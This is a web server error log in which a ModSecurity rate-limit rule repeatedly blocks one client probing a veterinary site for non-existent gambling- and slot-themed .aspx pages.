[Sun Apr 12 22:25:21.803001 2026] [:error] [pid 60280:tid 60282] [client 51.75.119.229:40520] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adurUXBlLnDOYuIykkj2KQAAAcA"]
[Sun Apr 12 22:25:25.132811 2026] [:error] [pid 25327:tid 25349] [client 51.75.119.229:39658] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adurVS6h2tZEVJo9JFIANgAAAA0"]
[Sun Apr 12 22:25:28.588364 2026] [:error] [pid 25328:tid 25365] [client 51.75.119.229:39668] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adurWMxUaQZxT-e0YsB0HwAAAEE"]
[Sun Apr 12 22:25:31.510659 2026] [:error] [pid 26600:tid 26649] [client 51.75.119.229:39672] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adurW-1YwAZiXhQKLYpoQwAAAZQ"]
[Sun Apr 12 22:25:34.518143 2026] [:error] [pid 26567:tid 26581] [client 51.75.119.229:39686] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adurXnhRpg6ptWFyFx3VawAAAQw"]
[Sun Apr 12 22:25:37.336762 2026] [:error] [pid 25328:tid 25385] [client 51.75.119.229:55014] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adurYcxUaQZxT-e0YsB0IwAAAE4"]
[Sun Apr 12 22:25:40.248617 2026] [:error] [pid 25329:tid 25384] [client 51.75.119.229:55018] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adurZGdcIYsS8Iyaj13OMwAAAIU"]
[Sun Apr 12 22:25:43.115413 2026] [:error] [pid 25328:tid 25370] [client 51.75.119.229:55030] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adurZ8xUaQZxT-e0YsB0KQAAAEY"]
[Sun Apr 12 22:25:46.138216 2026] [:error] [pid 26600:tid 26652] [client 51.75.119.229:56434] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adurau1YwAZiXhQKLYpoVgAAAZc"]
[Sun Apr 12 22:25:49.036694 2026] [:error] [pid 26599:tid 26610] [client 51.75.119.229:56448] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adurbXG89LXoQbk_rwDqmQAAAUg"]
[Sun Apr 12 22:25:52.193757 2026] [:error] [pid 60280:tid 60302] [client 51.75.119.229:56456] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adurcHBlLnDOYuIykkj2awAAAdQ"]
[Sun Apr 12 22:26:44.653296 2026] [:error] [pid 25329:tid 25386] [client 51.75.119.229:46340] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adurpGdcIYsS8Iyaj13OowAAAIY"]
[Sun Apr 12 22:26:47.381960 2026] [:error] [pid 25327:tid 25344] [client 51.75.119.229:46330] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adurpy6h2tZEVJo9JFIA6AAAAAg"]
[Sun Apr 12 22:26:50.536942 2026] [:error] [pid 25329:tid 25411] [client 51.75.119.229:46344] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "adurqmdcIYsS8Iyaj13OqwAAAJQ"]
[Sun Apr 12 22:26:53.224710 2026] [:error] [pid 25329:tid 25407] [client 51.75.119.229:46346] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adurrWdcIYsS8Iyaj13OsQAAAJI"]
[Sun Apr 12 22:26:55.812738 2026] [:error] [pid 26600:tid 26641] [client 51.75.119.229:48022] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adurr-1YwAZiXhQKLYpoqAAAAYw"]
[Sun Apr 12 22:26:58.844116 2026] [:error] [pid 26600:tid 26645] [client 51.75.119.229:48036] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adursu1YwAZiXhQKLYpoqwAAAZA"]
[Sun Apr 12 22:27:02.203402 2026] [:error] [pid 60280:tid 60284] [client 51.75.119.229:48048] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adurtnBlLnDOYuIykkj3JQAAAcI"]
[Sun Apr 12 22:27:04.863483 2026] [:error] [pid 25329:tid 25390] [client 51.75.119.229:56930] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aduruGdcIYsS8Iyaj13OxgAAAIg"]
[Sun Apr 12 22:27:07.940561 2026] [:error] [pid 26599:tid 26611] [client 51.75.119.229:56946] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aduru3G89LXoQbk_rwDqxAAAAUk"]
[Sun Apr 12 22:27:10.579009 2026] [:error] [pid 25327:tid 25339] [client 51.75.119.229:56958] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adurvi6h2tZEVJo9JFIBTAAAAAM"]
[Sun Apr 12 22:27:13.032664 2026] [:error] [pid 25329:tid 25376] [client 51.75.119.229:56966] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adurwWdcIYsS8Iyaj13OzgAAAIE"]
[Sun Apr 12 22:27:17.270179 2026] [:error] [pid 25327:tid 25355] [client 51.75.119.229:44910] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adurxS6h2tZEVJo9JFIBYgAAABM"]
[Sun Apr 12 22:27:19.966307 2026] [:error] [pid 60280:tid 60295] [client 51.75.119.229:44922] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adurx3BlLnDOYuIykkj3PwAAAc0"]
[Sun Apr 12 22:27:22.695881 2026] [:error] [pid 60280:tid 60289] [client 51.75.119.229:44924] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adurynBlLnDOYuIykkj3QQAAAcc"]
[Sun Apr 12 22:27:25.939195 2026] [:error] [pid 25329:tid 25382] [client 51.75.119.229:59954] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adurzWdcIYsS8Iyaj13O5AAAAIQ"]
[Sun Apr 12 22:27:29.041003 2026] [:error] [pid 60280:tid 60296] [client 51.75.119.229:59970] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adur0XBlLnDOYuIykkj3TgAAAc4"]
[Sun Apr 12 22:27:32.127462 2026] [:error] [pid 60280:tid 60283] [client 51.75.119.229:59972] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adur1HBlLnDOYuIykkj3XgAAAcE"]
[Sun Apr 12 22:27:34.840387 2026] [:error] [pid 26567:tid 26570] [client 51.75.119.229:56452] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adur1nhRpg6ptWFyFx3VtAAAAQE"]
[Sun Apr 12 22:27:37.853983 2026] [:error] [pid 60280:tid 60292] [client 51.75.119.229:56458] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adur2XBlLnDOYuIykkj3cQAAAco"]
[Sun Apr 12 22:28:32.495728 2026] [:error] [pid 25328:tid 25365] [client 51.75.119.229:56470] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adusEMxUaQZxT-e0YsB05QAAAEE"]
[Sun Apr 12 22:28:35.175198 2026] [:error] [pid 25329:tid 25384] [client 51.75.119.229:50950] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adusE2dcIYsS8Iyaj13PVgAAAIU"]
[Sun Apr 12 22:28:37.778745 2026] [:error] [pid 25328:tid 25389] [client 51.75.119.229:50954] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adusFcxUaQZxT-e0YsB06wAAAFA"]
[Sun Apr 12 22:28:40.696131 2026] [:error] [pid 25329:tid 25390] [client 51.75.119.229:50960] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adusGGdcIYsS8Iyaj13PcQAAAIg"]
[Sun Apr 12 22:28:43.472196 2026] [:error] [pid 26600:tid 26650] [client 51.75.119.229:50968] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adusG-1YwAZiXhQKLYpo8gAAAZU"]
[Sun Apr 12 22:28:47.296811 2026] [:error] [pid 25329:tid 25393] [client 51.75.119.229:35400] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adusH2dcIYsS8Iyaj13PgAAAAIo"]
[Sun Apr 12 22:28:49.685336 2026] [:error] [pid 25437:tid 25444] [client 51.75.119.229:35404] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adusIXf97wYZje1ep_ODfAAAAMU"]
[Sun Apr 12 22:28:52.305980 2026] [:error] [pid 25328:tid 25368] [client 51.75.119.229:35414] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adusJMxUaQZxT-e0YsB1CAAAAEQ"]
[Sun Apr 12 22:28:54.991810 2026] [:error] [pid 60280:tid 60299] [client 51.75.119.229:43474] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adusJnBlLnDOYuIykkj4QgAAAdE"]
[Sun Apr 12 22:28:58.162294 2026] [:error] [pid 60280:tid 60294] [client 51.75.119.229:43482] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adusKnBlLnDOYuIykkj4UAAAAcw"]
[Sun Apr 12 22:29:01.086598 2026] [:error] [pid 25328:tid 25396] [client 51.75.119.229:43496] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adusLcxUaQZxT-e0YsB1EAAAAFM"]
[Sun Apr 12 22:29:04.273011 2026] [:error] [pid 25327:tid 25359] [client 51.75.119.229:43498] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adusMC6h2tZEVJo9JFIBywAAABc"]
[Sun Apr 12 22:29:07.315310 2026] [:error] [pid 26599:tid 26604] [client 51.75.119.229:56370] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adusM3G89LXoQbk_rwDrJAAAAUI"]
[Sun Apr 12 22:29:10.162211 2026] [:error] [pid 25329:tid 25413] [client 51.75.119.229:56382] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adusNmdcIYsS8Iyaj13PmAAAAJY"]
[Sun Apr 12 22:29:13.675124 2026] [:error] [pid 60280:tid 60293] [client 51.75.119.229:56386] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adusOXBlLnDOYuIykkj4ewAAAcs"]
[Sun Apr 12 22:29:17.962968 2026] [:error] [pid 26599:tid 26626] [client 51.75.119.229:53372] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adusPXG89LXoQbk_rwDrLAAAAVg"]
[Sun Apr 12 22:29:21.108205 2026] [:error] [pid 60280:tid 60287] [client 51.75.119.229:53388] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adusQXBlLnDOYuIykkj4xAAAAcU"]
[Sun Apr 12 22:29:24.040787 2026] [:error] [pid 26567:tid 26590] [client 51.75.119.229:53390] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adusRHhRpg6ptWFyFx3V4AAAARU"]
[Sun Apr 12 22:46:51.660747 2026] [:error] [pid 26600:tid 26651] [client 51.75.119.229:45646] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aduwW-1YwAZiXhQKLYpssAAAAZY"]
[Sun Apr 12 22:46:54.135770 2026] [:error] [pid 25329:tid 25378] [client 51.75.119.229:44810] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aduwXmdcIYsS8Iyaj13W5gAAAII"]
[Sun Apr 12 22:46:56.578980 2026] [:error] [pid 25329:tid 25381] [client 51.75.119.229:38630] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aduwYGdcIYsS8Iyaj13W7QAAAIM"]
[Sun Apr 12 22:46:58.847851 2026] [:error] [pid 60280:tid 60301] [client 51.75.119.229:38632] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aduwYnBlLnDOYuIykkgGiwAAAdM"]
[Sun Apr 12 22:47:01.381782 2026] [:error] [pid 25328:tid 25398] [client 51.75.119.229:38636] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aduwZcxUaQZxT-e0YsB6eQAAAFQ"]
[Sun Apr 12 22:47:03.805592 2026] [:error] [pid 60280:tid 60303] [client 51.75.119.229:38646] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aduwZ3BlLnDOYuIykkgGnAAAAdU"]
[Sun Apr 12 22:47:06.252731 2026] [:error] [pid 25327:tid 25360] [client 51.75.119.229:49468] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aduwai6h2tZEVJo9JFIMFQAAABg"]
